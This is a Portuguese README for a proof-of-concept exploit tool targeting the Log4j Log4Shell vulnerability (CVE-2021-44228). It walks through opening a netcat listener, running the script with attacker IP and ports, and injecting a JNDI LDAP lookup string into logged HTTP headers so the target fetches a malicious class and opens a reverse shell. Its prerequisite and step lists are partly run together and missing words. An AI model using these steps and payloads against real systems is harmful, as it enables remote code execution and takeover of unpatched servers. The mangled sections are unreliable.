
Um Proof-of-Concept para a vulnerabilidade CVE-2021-44228.
Exploit de prova de conceito para a vulnerabilidade Log4j (CVE-2021-44228), também conhecida como Log4Shell. Esta ferramenta gera uma classe Java maliciosa, inicia um servidor de referência LDAP e serve o payload via HTTP, permitindo que um atacante remoto execute comandos arbitrários em um alvo vulnerável.
poc.py:
jdk1.8.0_20/ – uma cópia do Oracle JDK 1.8.0_20 (contém bin/javac e bin/java). Se estiver ausente, o script tentará usar os comandos javac e do sistema.javatarget/marshalsec-0.0.3-SNAPSHOT-all.jar – o arquivo JAR do marshalsec usado para iniciar o servidor LDAP.jdk1.8.0_20 e o JAR do marshalsec conforme descrito acima.pip install -r requirements.txt
Execute o script com Python:
python3 poc.py [OPTIONS]
| Argumento | Type | Padrão | Descrição |
|---|---|---|---|
--userip | string | IPv4 auto-detectado | Endereço IP ao qual os servidores LDAP e HTTP farão bind e que será anunciado. Este endereço deve ser alcançável a partir da máquina alvo. |
--webport | integer | 8000 | Porta do servidor HTTP que serve o Exploit.class compilado. |
--lport | integer | 9001 | Porta onde seu listener netcat aguarda o reverse shell. O payload se conectará de volta a userip:lport. |
Inicie um listener netcat na sua máquina atacante (substitua 9001 pela porta escolhida):
nc -lvnp 9001
Execute o exploit:
python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
Se você omitir --userip, o script usará automaticamente o endereço IPv4 principal da sua máquina.
O script exibirá uma string de payload para injetar no alvo vulnerável, por exemplo:
${jndi:ldap://192.168.1.10:1389/a}
Injete esta string em qualquer campo de entrada ou cabeçalho HTTP que seja registrado por uma instância vulnerável do Log4j (ex.: User-Agent, X-Forwarded-For, etc.). O alvo se conectará ao servidor LDAP, buscará a classe maliciosa no servidor HTTP e executará o reverse shell.
Você deve ver uma conexão shell aparecer no seu listener netcat.
Exploit.java contendo código que abre um reverse shell para userip:lport.javac do sistema).webport para hospedar o Exploit.class compilado./bin/sh e é destinado a sistemas alvo do tipo Unix. Para alvos Windows, você precisaria modificar o comando dentro de Exploit.java.webport e lport) e que o alvo consiga alcançar sua máquina.O script remove automaticamente Exploit.java e Exploit.class ao sair (normalmente ou após um KeyboardInterrupt). Se você precisar manter os arquivos para depuração, comente o bloco finally em poc.py.
Esta ferramenta destina-se apenas a fins educacionais e de testes de segurança autorizados. O uso não autorizado deste exploit contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. Os autores não são responsáveis por qualquer uso indevido ou dano causado por este software.